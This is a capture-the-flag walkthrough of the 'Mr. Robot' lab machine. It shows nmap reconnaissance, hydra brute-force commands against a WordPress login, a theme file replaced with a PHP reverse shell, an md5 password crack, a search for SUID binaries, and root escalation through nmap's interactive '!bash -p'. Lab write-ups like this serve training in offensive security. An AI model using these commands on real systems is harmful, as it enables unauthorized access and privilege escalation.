Mr. ROBOT

Starting with nmap found two open ports 80, 443

```
PORT   STATE SERVICE VERSION
22/tcp  closed ssh
80/tcp  open   http    Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
MAC Address: 08:00:27:89:23:F9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
```

On directory brute forcing found wp-admin which means wordpress CMS is running and found robots.txt
two entries found in robots.txt where one is the **first key out of 3** and second is a dictionary

Brute force on wordpress login with the dictionary we found in robots.txt,
For username,

```
# hydra -L fsociety.dic -P fsociety.dic 10.0.0.115 http-post form "/wp-login.php:username=^USER^&password=^PASS^:ERROR: Invalid username"
```

Username **elliot**

For password,

```
# hydra -l elliot -P fsociety.dic 10.0.0.115 http-post form "/wp-login.php:username=^USER^&password=^PASS^:ERROR: The password you entered for the username elliot is incorrect"
```

Password **ER28-0652**

logged in with the creds and visited **/wp-admin/theme-editor.php?theme=twentyfifteen** and edited the 404.php file and changes the content with my php reverse shell**,** Started nc listener on port specified in shell then visited **/wp-content/themes/twentyfifteen/404.php** and got the reverse shell
In robot user directory found two files one is the **second key out of 3** and another is a file containing password of robot user in md5, copied it and decrypt with md5online.org and found the password **abcdefghijklmnopqrstuvwxyz ,** then switched to robot user and read the second key

Looking for suid binaries

```
$ find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null
```

found suid on **nmap** then run nmap interective mode with

```
$ nmap --interective
nmap> !bash -p
```